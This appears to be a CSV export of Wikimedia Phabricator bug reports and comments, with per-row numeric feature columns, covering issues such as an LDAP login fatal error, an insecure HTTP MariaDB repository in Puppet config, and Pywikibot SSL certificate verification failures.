migrating all of the tools to xtools.wmflabs.org/tool and will be going through updating them when done.
462237,tools.wmflabs.org/xtools shouldn't give a HTTP 301 to another redirect,"err, it should be a 301 to the proper place..",,,1432297910,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-uc6nzyttspl2ypxazaky,task_subcomment,,True,c3,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"err, it should be a 301 to the proper place.."
99218,Set up LanguageTool HTTP server on Tools-Labs or Labs.,"Successfully setup LanguageTool HTTP server on Labs. 
1. Place request for a Labs instance.

Set up a server on Tools for now. Will relocate it to Labs as and when required.
Server : http://tools.wmflabs.org/languageproofing/
UI for testing : http://tools.wmflabs.org/languageproofing-ui/",Lowest,10.0,1431678576,1432499181.0,PHID-USER-5jrv5iukbhgvtdchqmrt,False,PHID-USER-5jrv5iukbhgvtdchqmrt,False,PHID-TASK-mh6rlvwcxrv7k4exlj3v,task_description,resolved,True,c3,1,True,True,True,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,29.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,17.0,17.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,3.5833333333333335,0.6875,"Successfully setup LanguageTool HTTP server on Labs. 
1. Place request for a Labs instance.

Set up a server on Tools for now. Will relocate it to Labs as and when required.
Server : URL
UI for testing : URL"
98600,"With first time login of new user, ldapauthentication extension passes empty password to User.php/saveSettings() and causes error.","I created a new user in our LDAP server since updating to the most recent MediaWiki. I use the ldapauthentication extension. But when the user tried to login, I got

**PHP Fatal error:  Call to a member function toString() on a non-object in /var/www/html/includes/User.php on line 3493**

which turned out to be 
```
'user_password' => $this->mPassword->toString(),
```
Adding in a check to see if the string is in fact empty, solved the issue:
```
'user_password' => ($this->mPassword === """" ? """" : $this->mPassword->toString()),
```
Please integrate this into MediaWiki. Thanks!",Lowest,10.0,1431090045,1730395625.0,PHID-USER-6cbkpzry3eod3edk2eib,False,PHID-USER-3wfzrv2a2ggwauxc52is,False,PHID-TASK-vhbskaqmu5cxoqz7ubf7,task_description,declined,True,c3,1,False,False,False,-8,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,12.0,0.0,2.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,16.0,2.0,1.0,9.0,0.0,0.0,1.0,0.0,4.0,1.0,1.0,0.0,4.0,12.0,10.0,0.0,0.0,0.0,4.0,0.0,2.0,3.0,0.0,1.0,0.0,1.0,0.0,3.588888888888889,0.7111111111111111,"I created a new user in our LDAP server since updating to the most recent MediaWiki. I use the ldapauthentication extension. But when the user tried to login, I got

**PHP Fatal error:  Call to a member function toString() on a non-object in /var/www/html/includes/User.php on line 3493**

which turned out to be 
``CODE`CODE`CODE``
Please integrate this into MediaWiki. Thanks!"
1840587,"With first time login of new user, ldapauthentication extension passes empty password to User.php/saveSettings() and causes error.",Setting lowest priority as [this extension is unmaintained](https://www.mediawiki.org/w/index.php?title=Extension:LDAP_Authentication) and superseded by #mediawiki-extensions-ldapauthentication2,,,1641491350,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vhbskaqmu5cxoqz7ubf7,task_subcomment,,True,c3,3,True,,,340,True,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,6.222222222222222,0.9444444444444444,Setting lowest priority as [this extension is unmaintained](URL and superseded by #mediawiki-extensions-ldapauthentication2
98575,Investigate / get rid of http debian repo from toollabs,"```    # Trustworthy enough
    # Only necessary on precise hosts, trusty has its own mariadb package
    if $::lsbdistcodename == 'precise' {
        apt::repository { 'mariadb':
            uri        => 'http://ftp.osuosl.org/pub/mariadb/repo/5.5/ubuntu',
            dist       => $::lsbdistcodename,
            components => 'main',
            source     => false,
            keyfile    => 'puppet:///modules/toollabs/mariadb.gpg',
        }
        file { '/etc/apt/trusted.gpg.d/mariadb.gpg':
            ensure => absent,
        }
    }```

This code is in toollabs/init.pp, and is probably unsafe and should be killed (the URL doesn't even support https)",Lowest,10.0,1431068274,1547486869.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-n2dn5jgdjmimryrotxgk,task_description,resolved,True,c3,1,True,False,False,-8,True,0.0,0.0,0.0,3.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,10.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4193548387096775,0.8387096774193549,"``CODE``

This code is in toollabs/init.pp, and is probably unsafe and should be killed (the URL doesn't even support https)"
1208949,Investigate / get rid of http debian repo from toollabs,"Seems to be gone now, probably for a very long time.",,,1547486869,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-n2dn5jgdjmimryrotxgk,task_subcomment,,True,c3,3,True,,,184,True,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.230769230769231,1.0,"Seems to be gone now, probably for a very long time."
455953,Investigate / get rid of http debian repo from toollabs,"I do believe it's mostly moot by now; this was added when MariaDB was new and shiny (relatively speaking) but now that we use it in prod we probably want to use our packages instead.

That said, I don't think we have //mariadb-client// on carbon and we'd want to if we switched.",,,1431083578,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-n2dn5jgdjmimryrotxgk,task_subcomment,,True,c3,1,True,,,-8,True,0.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,12.0,0.0,12.0,11.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,3.0,6.0,5.0,5.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,16.0,11.0,2.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5625,0.78125,"I do believe it's mostly moot by now; this was added when MariaDB was new and shiny (relatively speaking) but now that we use it in prod we probably want to use our packages instead.

That said, I don't think we have //mariadb-client// on carbon and we'd want to if we switched."
455898,Investigate / get rid of http debian repo from toollabs,"As mentioned on IRC; if we trust the archive key and if mariadb manages their private archive key securely that's as secure as pulling packages from a standard Debian or Ubuntu mirror (by means of Secure Apt).

Adding them to the local repo on carbon would still be preferable for realibility reasons, e.g. we would still have access to the specific versions if the current packages were dropped off the mirror.",,,1431070650,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-n2dn5jgdjmimryrotxgk,task_subcomment,,True,c3,1,True,,,-8,True,0.0,0.0,0.0,1.0,0.0,10.0,1.0,0.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,9.0,4.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,18.0,6.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,4.329113924050633,0.7848101265822784,"As mentioned on IRC; if we trust the archive key and if mariadb manages their private archive key securely that's as secure as pulling packages from a standard Debian or Ubuntu mirror (by means of Secure Apt).

Adding them to the local repo on carbon would still be preferable for realibility reasons, e.g. we would still have access to the specific versions if the current packages were dropped off the mirror."
455894,Investigate / get rid of http debian repo from toollabs,"So it's ok because we distribute the GPG key ourselves, but this should probably be in the local debrepo.",,,1431068496,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-n2dn5jgdjmimryrotxgk,task_subcomment,,True,c3,1,True,,,-8,True,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,9.0,5.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,9.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.9545454545454546,0.9545454545454546,"So it's ok because we distribute the GPG key ourselves, but this should probably be in the local debrepo."
98104,Strict SSL certificate checking,"`ssl` module may need strict checking:

````
m> env PATH= /usr/local/bin/python2.7 version.py                                                                                                              
Retreving commit log from https://tools.wmflabs.org/pywikibot/gitlog.txt
Traceback (most recent call last):
  File ""version.py"", line 20, in <module>
    pywikibot.output('Pywikibot: %s' % getversion())
  File ""/home/saper/wikipedia/compat/pywikibot/version.py"", line 46, in getversion
    data = dict(getversiondict())  # copy dict to prevent changes in 'chache'
  File ""/home/saper/wikipedia/compat/pywikibot/version.py"", line 70, in getversiondict
    (tag, rev, date, hsh) = getversion_git(_program_dir)
  File ""/home/saper/wikipedia/compat/pywikibot/version.py"", line 192, in getversion_git
    rev, date = getversion_git_windows(hsh, path)
  File ""/home/saper/wikipedia/compat/pywikibot/version.py"", line 111, in getversion_git_windows
    ff = urllib2.urlopen(url).read().splitlines()
  File ""/usr/local/lib/python2.7/urllib2.py"", line 154, in urlopen
    return opener.open(url, data, timeout)
  File ""/usr/local/lib/python2.7/urllib2.py"", line 431, in open
    response = self._open(req, data)
  File ""/usr/local/lib/python2.7/urllib2.py"", line 449, in _open
    '_open', req)
  File ""/usr/local/lib/python2.7/urllib2.py"", line 409, in _call_chain
    result = func(*args)
  File ""/usr/local/lib/python2.7/urllib2.py"", line 1240, in https_open
    context=self._context)
  File ""/usr/local/lib/python2.7/urllib2.py"", line 1197, in do_open
    raise URLError(err)
urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:581)>
````

Workaround: [list of certificate authorities you trust](http://curl.haxx.se/ca/cacert.pem) `SSL_CERT_FILE`

I think SSL certificates could/should be supplied attached to the family files, not sure where else do we connect to (tools.wmflabs.org, anything else?...)",Lowest,10.0,1430787821,1459941204.0,PHID-USER-qduasitr62ffvc5eiivd,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-5wfo3cttyajqwg7ddzug,task_description,declined,True,c3,1,True,False,False,-9,True,0.0,2.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,4.0,4.0,7.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.355555555555555,0.8444444444444444,"CODE module may need strict checking:

```CODE``CODESSL_CERT_FILE`

I think SSL certificates could/should be supplied attached to the family files, not sure where else do we connect to (tools.wmflabs.org, anything else?...)"
641268,Strict SSL certificate checking,Won't fix in compat,,,1459941204,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-5wfo3cttyajqwg7ddzug,task_subcomment,,True,c3,3,True,,,39,True,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,Won't fix in compat
469771,Strict SSL certificate checking,"[[https://www.mediawiki.org/wiki/Manual:Pywikibot/Installation#Two_versions_of_pywikibot | Pywikibot has two versions: Compat and Core. ]] This task was filed about the older version, called #Pywikibot-Compat, which is not under active development anymore. Hence I'm lowering the priority of this task to reflect the reality.   Unfortunately, the Pywikibot team does not have the manpower to retest every single bug report / feature request against the (maintained) #Pywikibot-Core code base. Furthermore, the code base of Pywikibot-Compat has changed a lot compared to the code base of Pywikibot-Core so there is a chance that the problem described in this task might not exist anymore.   **Please help**: Unfortunately manpower is limited and does not allow testing every single reported task again.  If you have time and interest in Pywikibot, please upgrade to Pywikibot-Core and add a comment to this task if the problem in this task still happens in Pywikibot-Core (or directly edit the task by removing the #Pywikibot-Compat project and adding the #Pywikibot-Core project to this task).  To learn more about Pywikibot and to get involved in its development, please check out https://www.mediawiki.org/wiki/Manual:Pywikibot/Development   Thank you for your understanding.",,,1433511666,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5wfo3cttyajqwg7ddzug,task_subcomment,,True,c3,1,True,,,-4,True,0.6666666666666666,0.0,0.0,0.3333333333333333,1.3333333333333333,2.0,0.6666666666666666,0.0,0.0,0.6666666666666666,2.6666666666666665,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,5.0,10.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,4.0,1.6666666666666667,0.3333333333333333,2.3333333333333335,1.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,13.0,0.0,2.3333333333333335,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,5.666666666666667,1.3333333333333333,12.666666666666666,1.0,2.6666666666666665,9.0,0.0,0.0,0.0,1.6666666666666667,4.666666666666667,1.3333333333333333,0.3333333333333333,0.0,2.0,10.0,7.666666666666667,0.0,0.0,0.0,2.0,0.0,0.3333333333333333,1.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,4.115773115773115,0.695027195027195,"[[URL | Pywikibot has two versions: Compat and Core. ]] This task was filed about the older version, called #Pywikibot-Compat, which is not under active development anymore. Hence I'm lowering the priority of this task to reflect the reality.   Unfortunately, the Pywikibot team does not have the manpower to retest every single bug report / feature request against the (maintained) #Pywikibot-Core code base. Furthermore, the code base of Pywikibot-Compat has changed a lot compared to the code base of Pywikibot-Core so there is a chance that the problem described in this task might not exist anymore.   **Please help**: Unfortunately manpower is limited and does not allow testing every single reported task again.  If you have time and interest in Pywikibot, please upgrade to Pywikibot-Core and add a comment to this task if the problem in this task still happens in Pywikibot-Core (or directly edit the task by removing the #Pywikibot-Compat project and adding the #Pywikibot-Core project to this task).  To learn more about Pywikibot and to get involved in its development, please check out URL   Thank you for your understanding."
468058,Strict SSL certificate checking,"I see this backtrace is 'compat', which isnt maintained.

Do you also experience this problem in core?  I have rewritten those lines in core.

We have switched 'core' to using 'requests', so it is now possible to specify a bundle in an environment variable, and has lots of other options for adding trusted cert bundles.

Regarding properly maintained certs in family files, the problem is release management.  If we release pywikibot-2.0 with a certificate for wikipedia.org , the family class will fail if that certificate is invalidated, which will mean we need to release a new version of pywikibot.  I do not see the benefit in storing certificates for normal wikis which use a normal CA.  Storing a certificate could be useful for wikis which self-sign their certificate, etc.",,,1433299601,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-5wfo3cttyajqwg7ddzug,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,1.0,0.5,4.0,1.0,0.0,0.0,1.5,2.5,3.0,0.0,0.0,0.0,3.5,0.0,2.5,9.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,8.0,2.0,0.5,1.5,0.5,0.0,1.0,0.0,0.5,0.0,0.5,0.5,2.5,0.0,0.5,0.0,0.0,0.0,15.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,1.0,0.0,0.5,0.0,0.5,0.0,5.5,3.5,5.0,1.5,1.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.5,2.0,0.5,3.0,0.0,5.0,0.0,2.5,3.5,0.0,3.0,0.0,0.0,1.5,4.1333069620253164,0.6853639240506328,"I see this backtrace is 'compat', which isnt maintained.

Do you also experience this problem in core?  I have rewritten those lines in core.

We have switched 'core' to using 'requests', so it is now possible to specify a bundle in an environment variable, and has lots of other options for adding trusted cert bundles.

Regarding properly maintained certs in family files, the problem is release management.  If we release pywikibot-2.0 with a certificate for wikipedia.org , the family class will fail if that certificate is invalidated, which will mean we need to release a new version of pywikibot.  I do not see the benefit in storing certificates for normal wikis which use a normal CA.  Storing a certificate could be useful for wikis which self-sign their certificate, etc."
453797,Strict SSL certificate checking,"Yes, I am accessing Wikimedia wikis. I get this error trying to access the API (e.g. login) but also connecting to https://tools.wmflabs.org/

This is with all SSL connections with my Python (2.7.9 from FreeBSD ports), so it is not in that sense Wikimedia-specific.

I think I'd rather have one CA certificate blob per site (or group of sites) instead of blindly trusting some random CA collection off the Internet. I am sure that at least for Wikimedia wikis the CA certificate will be properly maintained.",,,1430813919,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-5wfo3cttyajqwg7ddzug,task_subcomment,,True,c3,1,True,,,-9,True,1.5,0.0,0.0,1.0,0.5,4.5,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,4.5,0.5,6.5,10.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,4.0,1.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,9.5,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,2.5,3.5,13.5,1.0,2.0,5.5,0.0,0.0,0.0,0.0,4.0,0.5,1.5,0.0,5.0,10.0,6.5,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,3.9411764705882355,0.8333333333333333,"Yes, I am accessing Wikimedia wikis. I get this error trying to access the API (e.g. login) but also connecting to URL

This is with all SSL connections with my Python (2.7.9 from FreeBSD ports), so it is not in that sense Wikimedia-specific.

I think I'd rather have one CA certificate blob per site (or group of sites) instead of blindly trusting some random CA collection off the Internet. I am sure that at least for Wikimedia wikis the CA certificate will be properly maintained."
453794,Strict SSL certificate checking,"This is with all SSL connections with my Python (2.7.9 from FreeBSD ports), so it is not in that sense Wikimedia-specific.

I think I'd rather have one CA certificate blob per site (or group of sites) instead of blindly trusting some random CA collection off the Internet. I am sure that at least for Wikimedia wikis the CA certificate will be properly maintained.",,,1430811160,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-5wfo3cttyajqwg7ddzug,task_subcomment,,True,c3,1,True,,,-9,True,3.0,0.0,0.0,1.0,1.0,7.0,4.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,5.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.0,5.0,17.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,7.0,15.0,9.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.04,0.8,"This is with all SSL connections with my Python (2.7.9 from FreeBSD ports), so it is not in that sense Wikimedia-specific.

I think I'd rather have one CA certificate blob per site (or group of sites) instead of blindly trusting some random CA collection off the Internet. I am sure that at least for Wikimedia wikis the CA certificate will be properly maintained."
453752,Strict SSL certificate checking,"are you experiencing this when using pywikibot-compat with Wikimedia wikis, or other wikis?

We've seen very similar problems with Wikimedia wikis, when the server had old certificates, and the problem was fixed by installing new root certificates.

Either way, there is a now a per-family flag in core to disable ssl verification, which avoids this problem.  I do like the solution of allowing certificates to be attached to each family , however that is almost identical to disabling ssl verification, unless the certificates are properly maintained (i.e. checks against certificate revocation lists, etc)",,,1430791120,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-5wfo3cttyajqwg7ddzug,task_subcomment,,True,c3,1,True,,,-9,True,1.0,0.0,0.5,2.5,0.0,3.0,1.0,0.0,0.0,1.0,2.5,0.5,0.0,1.0,0.5,1.5,1.0,4.5,9.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.5,0.0,1.0,0.5,0.0,1.0,0.5,1.0,0.0,0.0,0.5,3.5,0.5,0.0,0.0,0.0,0.0,15.0,1.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,3.0,2.0,1.0,8.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,2.0,9.0,1.0,0.5,0.0,0.0,2.0,0.0,2.0,1.0,0.0,3.5,0.0,0.0,2.0,4.578320802005013,0.787750626566416,"are you experiencing this when using pywikibot-compat with Wikimedia wikis, or other wikis?

We've seen very similar problems with Wikimedia wikis, when the server had old certificates, and the problem was fixed by installing new root certificates.

Either way, there is a now a per-family flag in core to disable ssl verification, which avoids this problem.  I do like the solution of allowing certificates to be attached to each family , however that is almost identical to disabling ssl verification, unless the certificates are properly maintained (i.e. checks against certificate revocation lists, etc)"
96145,"LoginUserMigrated hook causing Fatal Error: Argument 1 passed to CentralAuthUser::getInstance() must be an instance of User, bool given","In specialuserlogin.php:
```
		$u = User::newFromName( $this->mUsername );

		// Give extensions a way to indicate the username has been updated,
		// rather than telling the user the account doesn't exist.
		if ( !Hooks::run( 'LoginUserMigrated', array( $u, &$msg ) ) ) {
			$this->mAbortLoginErrorMsg = $msg;
			return self::USER_MIGRATED;
		}

		if ( !( $u instanceof User ) || !User::isUsableName( $u->getName() ) ) {
			return self::ILLEGAL;
		}
```

Hook immediately calls `$centralUser = CentralAuthUser::getInstance( $user );`.",Unbreak Now!,100.0,1429110788,1429120494.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-TASK-qrefg3pik2zjm224t4aj,task_description,resolved,True,c3,1,True,True,True,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.375,0.875,"In specialuserlogin.php:
``CODE`CODE$centralUser = CentralAuthUser::getInstance( $user );`."
444139,"LoginUserMigrated hook causing Fatal Error: Argument 1 passed to CentralAuthUser::getInstance() must be an instance of User, bool given",Quick fix deployed. Follow up actual fix bug is T96174.,,,1429120494,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-qrefg3pik2zjm224t4aj,task_subcomment,,True,c3,1,True,,,-12,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.8333333333333334,Quick fix deployed. Follow up actual fix bug is T96174.
444081,"LoginUserMigrated hook causing Fatal Error: Argument 1 passed to CentralAuthUser::getInstance() must be an instance of User, bool given","Change 204281 merged by jenkins-bot:
Fix fatals in LoginUserMigrated hook

